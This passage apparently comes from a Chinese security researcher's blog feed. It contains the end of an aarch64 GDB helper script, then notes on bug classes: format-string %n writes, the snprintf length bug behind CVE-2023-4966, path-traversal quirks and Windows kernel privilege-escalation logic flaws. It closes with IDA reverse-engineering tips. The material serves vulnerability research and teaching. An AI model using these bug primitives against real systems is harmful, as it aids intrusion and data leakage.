class="line">449</span><br><span class="line">450</span><br></pre></td><td class="code"><pre><span class="line">set architecture aarch64</span><br><span class="line">set $64BITS=1</span><br><span class="line">set $ARM=1</span><br><span class="line">set $SHOW_CONTEXT=1</span><br><span class="line">define ascii_char</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help ascii_char</span><br><span class="line">    else</span><br><span class="line">        # thanks elaine :)</span><br><span class="line">        set $_c = *(unsigned char *)($arg0)</span><br><span class="line">        if ($_c &lt; 0x20 || $_c &gt; 0x7E)</span><br><span class="line">            printf &quot;.&quot;</span><br><span class="line">        else</span><br><span class="line">            printf &quot;%c&quot;, $_c</span><br><span class="line">        end</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document ascii_char</span><br><span class="line">Print ASCII value of byte at address ADDR.</span><br><span class="line">Print &quot;.&quot; if the value is unprintable.</span><br><span class="line">Usage: ascii_char ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">define hex_quad</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hex_quad</span><br><span class="line">    else</span><br><span class="line">        printf &quot;%02X %02X %02X %02X %02X %02X %02X %02X&quot;, \</span><br><span class="line">               *((unsigned char*)$arg0), *((unsigned char*)$arg0 + 1),     \</span><br><span class="line">               *((unsigned char*)$arg0 + 2), *((unsigned char*)$arg0 + 3), \</span><br><span class="line">               *((unsigned char*)$arg0 + 4), *((unsigned char*)$arg0 + 5), \</span><br><span class="line">               *((unsigned char*)$arg0 + 6), *((unsigned char*)$arg0 + 7)</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hex_quad</span><br><span class="line">Print eight hexadecimal bytes starting at address ADDR.</span><br><span class="line">Usage: hex_quad ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define hex_dword</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hex_dword</span><br><span class="line">    else</span><br><span class="line">        printf &quot;0x%08X 0x%08X 0x%08X 0x%08X&quot;, \</span><br><span class="line">               *(unsigned int*)($arg0), *(unsigned int*)((char*)$arg0 + 4),     \</span><br><span class="line">               *(unsigned int*)((char*)$arg0 + 8), *(unsigned int*)((char*)$arg0 + 0xc)</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hex_dword</span><br><span class="line">Print eight hexadecimal bytes starting at address ADDR.</span><br><span class="line">Usage: hex_dword ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define hex_qword</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hex_qword</span><br><span class="line">    else</span><br><span class="line">        printf &quot;0x%016llX 0x%016llX&quot;, \</span><br><span class="line">               *(unsigned long long*)($arg0), *(unsigned long long*)((char*)$arg0 + 8)</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hex_qword</span><br><span class="line">Print eight hexadecimal bytes starting at address ADDR.</span><br><span class="line">Usage: hex_qword ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define hexdump</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hexdump</span><br><span class="line">    else</span><br><span class="line">        echo \033[1m</span><br><span class="line">        if ($64BITS == 1)</span><br><span class="line">         printf &quot;0x%016lX : &quot;, $arg0</span><br><span class="line">        else</span><br><span class="line">         printf &quot;0x%08X : &quot;, $arg0</span><br><span class="line">        end</span><br><span class="line">        echo \033[0m</span><br><span class="line">        hex_quad $arg0</span><br><span class="line">        echo \033[1m</span><br><span class="line">        printf &quot; - &quot;</span><br><span class="line">        echo \033[0m</span><br><span class="line">        hex_quad $arg0+8</span><br><span class="line">        printf &quot; &quot;</span><br><span class="line">        echo \033[1m</span><br><span class="line">        ascii_char (char*)$arg0+0x0</span><br><span class="line">        ascii_char (char*)$arg0+0x1</span><br><span class="line">        ascii_char (char*)$arg0+0x2</span><br><span class="line">        ascii_char (char*)$arg0+0x3</span><br><span class="line">        ascii_char (char*)$arg0+0x4</span><br><span class="line">        ascii_char (char*)$arg0+0x5</span><br><span class="line">        ascii_char (char*)$arg0+0x6</span><br><span class="line">        ascii_char (char*)$arg0+0x7</span><br><span class="line">        ascii_char (char*)$arg0+0x8</span><br><span class="line">        ascii_char (char*)$arg0+0x9</span><br><span class="line">        ascii_char (char*)$arg0+0xA</span><br><span class="line">        ascii_char (char*)$arg0+0xB</span><br><span class="line">        ascii_char (char*)$arg0+0xC</span><br><span class="line">        ascii_char (char*)$arg0+0xD</span><br><span class="line">        ascii_char (char*)$arg0+0xE</span><br><span class="line">        ascii_char (char*)$arg0+0xF</span><br><span class="line">        echo \033[0m</span><br><span class="line">        printf &quot;\n&quot;</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hexdump</span><br><span class="line">Display a 16-byte hex/ASCII dump of memory at address ADDR.</span><br><span class="line">Usage: hexdump ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define hexDwordDump</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hexDwordDump</span><br><span class="line">    else</span><br><span class="line">        echo \033[1m</span><br><span class="line">        if ($64BITS == 1)</span><br><span class="line">         printf &quot;0x%016lX : &quot;, $arg0</span><br><span class="line">        else</span><br><span class="line">         printf &quot;0x%08X : &quot;, $arg0</span><br><span class="line">        end</span><br><span class="line">        echo \033[0m</span><br><span class="line">        hex_dword $arg0</span><br><span class="line">        printf &quot; &quot;</span><br><span class="line">        echo \033[1m</span><br><span class="line">        ascii_char (char*)$arg0+0x0</span><br><span class="line">        ascii_char (char*)$arg0+0x1</span><br><span class="line">        ascii_char (char*)$arg0+0x2</span><br><span class="line">        ascii_char (char*)$arg0+0x3</span><br><span class="line">        ascii_char (char*)$arg0+0x4</span><br><span class="line">        ascii_char (char*)$arg0+0x5</span><br><span class="line">        ascii_char (char*)$arg0+0x6</span><br><span class="line">        ascii_char (char*)$arg0+0x7</span><br><span class="line">        ascii_char (char*)$arg0+0x8</span><br><span class="line">        ascii_char (char*)$arg0+0x9</span><br><span class="line">        ascii_char (char*)$arg0+0xA</span><br><span class="line">        ascii_char (char*)$arg0+0xB</span><br><span class="line">        ascii_char (char*)$arg0+0xC</span><br><span class="line">        ascii_char (char*)$arg0+0xD</span><br><span class="line">        ascii_char (char*)$arg0+0xE</span><br><span class="line">        ascii_char (char*)$arg0+0xF</span><br><span class="line">        echo \033[0m</span><br><span class="line">        printf &quot;\n&quot;</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hexDwordDump</span><br><span class="line">Display a 16-byte hex/ASCII dump of memory at address ADDR.</span><br><span class="line">Usage: hexDwordDump ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define hexQwordDump</span><br><span class="line">    if $argc != 1</span><br><span class="line">        help hexQwordDump</span><br><span class="line">    else</span><br><span class="line">        echo \033[1m</span><br><span class="line">        if ($64BITS == 1)</span><br><span class="line">         printf &quot;0x%016lX : &quot;, $arg0</span><br><span class="line">        else</span><br><span class="line">         printf &quot;0x%08X : &quot;, $arg0</span><br><span class="line">        end</span><br><span class="line">        echo \033[0m</span><br><span class="line">        hex_qword $arg0</span><br><span class="line">        printf &quot; &quot;</span><br><span class="line">        echo \033[1m</span><br><span class="line">        ascii_char (char*)$arg0+0x0</span><br><span class="line">        ascii_char (char*)$arg0+0x1</span><br><span class="line">        ascii_char (char*)$arg0+0x2</span><br><span class="line">        ascii_char (char*)$arg0+0x3</span><br><span class="line">        ascii_char (char*)$arg0+0x4</span><br><span class="line">        ascii_char (char*)$arg0+0x5</span><br><span class="line">        ascii_char (char*)$arg0+0x6</span><br><span class="line">        ascii_char (char*)$arg0+0x7</span><br><span class="line">        ascii_char (char*)$arg0+0x8</span><br><span class="line">        ascii_char (char*)$arg0+0x9</span><br><span class="line">        ascii_char (char*)$arg0+0xA</span><br><span class="line">        ascii_char (char*)$arg0+0xB</span><br><span class="line">        ascii_char (char*)$arg0+0xC</span><br><span class="line">        ascii_char (char*)$arg0+0xD</span><br><span class="line">        ascii_char (char*)$arg0+0xE</span><br><span class="line">        ascii_char (char*)$arg0+0xF</span><br><span class="line">        echo \033[0m</span><br><span class="line">        printf &quot;\n&quot;</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hexQwordDump</span><br><span class="line">Display a 16-byte hex/ASCII dump of memory at address ADDR.</span><br><span class="line">Usage: hexQwordDump ADDR</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># _______________data window__________________</span><br><span class="line">define ddump</span><br><span class="line">    if $argc != 2</span><br><span class="line">        help ddump</span><br><span class="line">    else</span><br><span class="line">        echo \033[34m</span><br><span class="line">        if $ARM == 1</span><br><span class="line">            printf &quot;[0x%08X]&quot;, $data_addr</span><br><span class="line">        else</span><br><span class="line">            if ($64BITS == 1)</span><br><span class="line">             printf &quot;[0x%04X:0x%016lX]&quot;, $ds, $data_addr</span><br><span class="line">            else</span><br><span class="line">             printf &quot;[0x%04X:0x%08X]&quot;, $ds, $data_addr</span><br><span class="line">            end</span><br><span class="line">        end</span><br><span class="line">    echo \033[34m</span><br><span class="line">    printf &quot;------------------------&quot;</span><br><span class="line">    printf &quot;-------------------------------&quot;</span><br><span class="line">    if ($64BITS == 1)</span><br><span class="line">     printf &quot;-------------------------------------&quot;</span><br><span class="line">    end</span><br><span class="line"></span><br><span class="line">    echo \033[1;34m</span><br><span class="line">    printf &quot;[data]\n&quot;</span><br><span class="line">        echo \033[0m</span><br><span class="line">        set $_count = 0</span><br><span class="line">        while ($_count &lt; $arg1)</span><br><span class="line">            set $_i = ($_count * 0x10)</span><br><span class="line">            if $arg0 == 1</span><br><span class="line">                hexdump $data_addr+$_i</span><br><span class="line">            end</span><br><span class="line">            if $arg0 == 2</span><br><span class="line">                hexDwordDump $data_addr+$_i</span><br><span class="line">            end</span><br><span class="line">            if $arg0 == 3</span><br><span class="line">                hexQwordDump $data_addr+$_i</span><br><span class="line">            end</span><br><span class="line">            set $_count++</span><br><span class="line">        end</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document ddump</span><br><span class="line">Display NUM lines of hexdump for address in $data_addr global variable.</span><br><span class="line">Usage: ddump TYPE NUM</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">define db</span><br><span class="line">    if($argc != 1 &amp;&amp; $argc != 2)</span><br><span class="line">        help db</span><br><span class="line">    else</span><br><span class="line">        set $data_addr = (char*)$arg0</span><br><span class="line">        if($argc == 1)</span><br><span class="line">            ddump 1 5</span><br><span class="line">        else</span><br><span class="line">            ddump 1 $arg1</span><br><span class="line">        end</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document db</span><br><span class="line">Display 16 lines of a hex dump of address starting at ADDR.</span><br><span class="line">Usage: db ADDR LINE</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define dd</span><br><span class="line">    if($argc != 1 &amp;&amp; $argc != 2)</span><br><span class="line">        help dd</span><br><span class="line">    else</span><br><span class="line">        set $data_addr = (char*)$arg0</span><br><span class="line">        if($argc == 1)</span><br><span class="line">            ddump 2 5</span><br><span class="line">        else</span><br><span class="line">            ddump 2 $arg1</span><br><span class="line">        end</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document dd</span><br><span class="line">Display 16 lines of a hex dump of address starting at ADDR.</span><br><span class="line">Usage: dd ADDR LINE</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define dq</span><br><span class="line">    if($argc != 1 &amp;&amp; $argc != 2)</span><br><span class="line">        help dq</span><br><span class="line">    else</span><br><span class="line">        set $data_addr = (char*)$arg0</span><br><span class="line">        if($argc == 1)</span><br><span class="line">            ddump 3 8</span><br><span class="line">        else</span><br><span class="line">            ddump 3 $arg1</span><br><span class="line">        end</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document dq</span><br><span class="line">Display 16 lines of a hex dump of address starting at ADDR.</span><br><span class="line">Usage: dq ADDR LINE</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define reg</span><br><span class="line">    printf &quot;  &quot;</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x0:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x0</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x1:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x1</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x2:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x2</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x3:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x3</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x4:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x4</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x5:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x5</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x6:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x6</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x7:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x7</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x8:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x8</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x9:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x9</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x10:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x10</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x11:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x11</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x12:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x12</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x13:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x13</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x14:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x14</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x15:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x15</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x16:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x16</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x17:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x17</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x18:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x18</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x19:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x19</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x20:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x20</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x21:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x21</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x22:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x22</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x23:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x23</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x24:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x24</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x25:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x25</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x26:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x26</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x27:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x27</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$x28:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x28</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x29:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x29</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$x30:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $x30</span><br><span class="line">    echo \033[32m</span><br><span class="line">    echo \n</span><br><span class="line">    printf &quot;$sp:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $sp</span><br><span class="line">    echo \033[32m</span><br><span class="line">    printf &quot;$pc:&quot;</span><br><span class="line">    echo \033[0m</span><br><span class="line">    printf &quot; 0x%016lX  &quot;, $pc</span><br><span class="line">    echo \033[0m</span><br><span class="line">    echo \n</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line">define context</span><br><span class="line">reg</span><br><span class="line">x/8i $pc</span><br><span class="line">dq $sp 3</span><br><span class="line">end</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">define hook-stop</span><br><span class="line">    # this makes &#x27;context&#x27; be called at every BP/step</span><br><span class="line">    if ($SHOW_CONTEXT &gt; 0)</span><br><span class="line">        context</span><br><span class="line">    end</span><br><span class="line">end</span><br><span class="line">document hook-stop</span><br><span class="line">!!! FOR INTERNAL USE ONLY - DO NOT CALL !!!</span><br><span class="line">end</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;官方虽然有不少资料, 但是都很分散, 我整理一下关于rk3568的测试资料, 方便大家参考.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Bug 实用技巧</title>
    <link href="http://474172261.github.io/2023/02/22/bug-skills/"/>
    <id>http://474172261.github.io/2023/02/22/bug-skills/</id>
    <published>2023-02-22T11:54:44.212Z</published>
    <updated>2025-08-20T02:51:41.218Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><blockquote><p>记录一些有意思的bug成因, 积攒经验值. 不定期更新</p></blockquote><h2 id="printf-fmt"><a href="#printf-fmt" class="headerlink" title="printf fmt"></a>printf fmt</h2><p>这种就比较老旧了, 就是如果开发者在使用printf&#x2F;snprintf之类的函数, 但是fmt是可控的, 就可以通过<code>%n</code>来实现改写栈变量中指向的目的地址的值.</p><p>比如:</p><p><code>snprintf(buf, 0x10, fmt, var1, var2)</code></p><p>如果fmt是<code>%0123s%n</code>, 就会把<code>var2</code>指向的值设置为123.</p><p>实际的参考例子:</p><p><a href="https://labs.watchtowr.com/fortinet-fortigate-cve-2024-23113-a-super-complex-vulnerability-in-a-super-secure-appliance-in-2024/?ref=blog.exploits.club">https://labs.watchtowr.com/fortinet-fortigate-cve-2024-23113-a-super-complex-vulnerability-in-a-super-secure-appliance-in-2024/?ref=blog.exploits.club</a></p><h2 id="snprintf"><a href="#snprintf" class="headerlink" title="snprintf"></a>snprintf</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> src[<span class="number">9</span>] = <span class="string">&quot;bbbbbbbb&quot;</span>;</span><br><span class="line"><span class="type">char</span> dst[<span class="number">8</span>] = <span class="string">&quot;aaaaaa&quot;</span>;</span><br><span class="line"><span class="type">int</span> l = <span class="built_in">snprintf</span>(dst, <span class="number">0x5</span>, <span class="string">&quot;%s&quot;</span>, src);</span><br><span class="line"><span class="keyword">return</span> l;</span><br></pre></td></tr></table></figure><p>一般来说, 这段代码是不会造成安全问题的, 因为并不能溢出dst, 而且函数会自动添加<code>\0</code>截断, 所以也不存在越界读取非0字节的问题. </p><p>但是, snprintf的返回值是不截断的长度! 也就是返回了<code>8</code>.</p><p>实际例子就是 <code>CVE-2023-4966</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">iVar3 = <span class="built_in">snprintf</span>(print_temp_rule,<span class="number">0x20000</span>,</span><br><span class="line">               <span class="string">&quot;&#123;\&quot;issuer\&quot;: \&quot;https://%.*s\&quot;, \&quot;authorization_endpoint\&quot;: \&quot;https://%.*s/oauth/ idp/login\&quot;, \&quot;token_endpoint\&quot;: \&quot;https://%.*s/oauth/idp/token\&quot;, \&quot;jwks_uri\&quot;:  \&quot;https://%.*s/oauth/idp/certs\&quot;, \&quot;response_types_supported\&quot;: [\&quot;code\&quot;, \&quot;toke n\&quot;, \&quot;id_token\&quot;], \&quot;id_token_signing_alg_values_supported\&quot;: [\&quot;RS256\&quot;], \&quot;end _session_endpoint\&quot;: \&quot;https://%.*s/oauth/idp/logout\&quot;, \&quot;frontchannel_logout_sup ported\&quot;: true, \&quot;scopes_supported\&quot;: [\&quot;openid\&quot;, \&quot;ctxs_cc\&quot;], \&quot;claims_support ed\&quot;: [\&quot;sub\&quot;, \&quot;iss\&quot;, \&quot;aud\&quot;, \&quot;exp\&quot;, \&quot;iat\&quot;, \&quot;auth_time\&quot;, \&quot;acr\&quot;, \&quot;amr \&quot;, \&quot;email\&quot;, \&quot;given_name\&quot;, \&quot;family_name\&quot;, \&quot;nickname\&quot;], \&quot;userinfo_endpoin t\&quot;: \&quot;https://%.*s/oauth/idp/userinfo\&quot;, \&quot;subject_types_supported\&quot;: [\&quot;public\&quot;]&#125;&quot;</span></span><br><span class="line">               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);</span><br><span class="line">authv2_json_resp = <span class="number">1</span>;</span><br><span class="line">iVar3 = ns_vpn_send_response(param_1,<span class="number">0x100040</span>,print_temp_rule,iVar3);</span><br></pre></td></tr></table></figure><p>这里将<code>iVar3</code>作为响应的长度, 导致越界读取了额外的内存, 从而send响应时造成信息泄露.</p><p>参考链接: <a href="https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966">https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966</a></p><h2 id="wcsncpy-s-dst-dstlen-src-srclen"><a href="#wcsncpy-s-dst-dstlen-src-srclen" class="headerlink" title="wcsncpy_s(dst,dstlen,src,srclen)"></a>wcsncpy_s(dst,dstlen,src,srclen)</h2><p>这是个安全拷贝函数, 但是它内部实现(msvcrt.dll)有个异常, 如果<code>dstlen &lt;= srclen, 且src的字符串长度大于等于dstlen</code>, 就会导致崩溃异常.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">wchar_t</span> src[<span class="number">9</span>] = <span class="string">L&quot;bbbbbb&quot;</span>;</span><br><span class="line"><span class="type">wchar_t</span> dst[<span class="number">8</span>] = <span class="string">L&quot;aaaaaaa&quot;</span>;</span><br><span class="line"><span class="type">int</span> l = wcsncpy_s(dst, <span class="number">0x6</span>, src, <span class="number">6</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;ok\n&quot;</span>);</span><br></pre></td></tr></table></figure><p>用visual studio编译, 这段代码我们就看不到输出”ok”.(但是实际上微软的服务遇到这种情况, 似乎只会抛出一个异常提示, 然后继续运行)</p><blockquote><p>wchar_t src[9] &#x3D; L”bbbbbbbb”;</p><p>wcscpy_s(dst, 8, src) 同理</p></blockquote><h2 id="PathCanonicalize"><a href="#PathCanonicalize" class="headerlink" title="PathCanonicalize"></a>PathCanonicalize</h2><p>函数功能是拼接windows的文件路径, 并移除<code>..\</code>, 但是它不会移除<code>../</code>, 如果不正确使用, 存在路径超越问题.</p><p>参考案例: 议题 <a href="https://github.com/474172261/slides/blob/main/Old%20School%2C%20New%20Story--Escape%20from%20Hyper-V%20by%20Path%20Traversal.pdf">Old School, New Story–Escape from Hyper-V by Path Traversal </a></p><h2 id="strnicmp-wcsnicmp"><a href="#strnicmp-wcsnicmp" class="headerlink" title="strnicmp, wcsnicmp"></a>strnicmp, wcsnicmp</h2><p>这类函数有长度限制, 可能错误匹配. 比如 strnicmp(“abc”,”abc123”, 3) 就能通过匹配.</p><h2 id="MmProbeAndLockPages-逻辑提权"><a href="#MmProbeAndLockPages-逻辑提权" class="headerlink" title="MmProbeAndLockPages 逻辑提权"></a>MmProbeAndLockPages 逻辑提权</h2><p>假如MmProbeAndLockPages 的第二个参数是<code>KernelMode(0)</code>, 而构造mdk的va地址来自用户态参数, 那就可以实现直接读写内核地址.</p><p>参考: <a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">https://big5-sec.github.io/posts/CVE-2023-29360-analysis/</a></p><h2 id="irp-gt-RequestorMode-逻辑问题"><a href="#irp-gt-RequestorMode-逻辑问题" class="headerlink" title="irp-&gt;RequestorMode 逻辑问题"></a>irp-&gt;RequestorMode 逻辑问题</h2><p><code>irp-&gt;RequestorMode </code>和<code>irp-&gt;PreviousMode</code>. 当内核里调用ZwOpenFile 等Zw开头的api时, <code>irp-&gt;PreviousMode</code>就会从<code>UserMode</code>变成<code>KernelMode</code>, 从而绕过一些条件检查. 而<code>irp-&gt;RequestorMode </code>是指原始调用来自用户态还是内核态.</p><p>另一种情况是 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">IoBuildDeviceIoControlRequest</a> , 它后续会调用 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-iofcalldriver">IofCallDriver</a> , 默认情况下, 它会把<code>irp-&gt;RequestorMode </code>变为<code>KenrelMode</code>.</p><p>参考来源: <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/">https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/</a></p><h1 id="IDA-技巧"><a href="#IDA-技巧" class="headerlink" title="IDA 技巧"></a>IDA 技巧</h1><h2 id="结构体字段命名"><a href="#结构体字段命名" class="headerlink" title="结构体字段命名"></a>结构体字段命名</h2><p>在定义结构体时, 可以在字段命名中添加关键词, 方便审计时提高注意力.</p><p>如果发现某个变量在锁内, 用<code>lock1_</code>开头, 表示字段的操作需要上锁. 下次看到引用字段却没上锁时, 就可以研究一下了.</p><p><code>a_</code>开头, 表示字段是个数组.</p><p><code>_14h</code>结尾, 标识字段在结构体中的偏移, 方便调试时直接可以看变量名识别偏移.</p><p>选择变量, <code>create new struct type...</code>创建结构体时, 如果有符号名称, 可以直接命名成那个名称, 这样有的函数有识别类型的时候, 会自动识别, 省去手动标识.</p><blockquote><p>注意, 如果是c++的代码, 往往子类和父类名称一样, 导致类型识别错误. 需要自行辨别当前的类型应该是父类还是子类.</p><p>比如代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">*((_DWORD *)<span class="keyword">this</span> + <span class="number">4</span>) = <span class="number">1</span>;</span><br><span class="line"> *(_QWORD *)<span class="keyword">this</span> = &amp;CWSDSession::`vftable<span class="number">&#x27;</span>&#123;<span class="keyword">for</span> `IWSDSessionInternal<span class="number">&#x27;</span>&#125;;</span><br><span class="line"> v1 = (<span class="type">char</span> *)<span class="keyword">this</span> + <span class="number">80</span>;</span><br><span class="line"> *((_DWORD *)<span class="keyword">this</span> + <span class="number">13</span>) = <span class="number">1</span>;</span><br><span class="line"> *((_QWORD *)<span class="keyword">this</span> + <span class="number">1</span>) = &amp;CWSDSession::`vftable<span class="number">&#x27;</span>&#123;<span class="keyword">for</span> `IWSDMessageBusNotify<span class="number">&#x27;</span>&#125;;</span><br><span class="line"> v2 = <span class="number">31</span>i64;</span><br><span class="line"> *((_QWORD *)<span 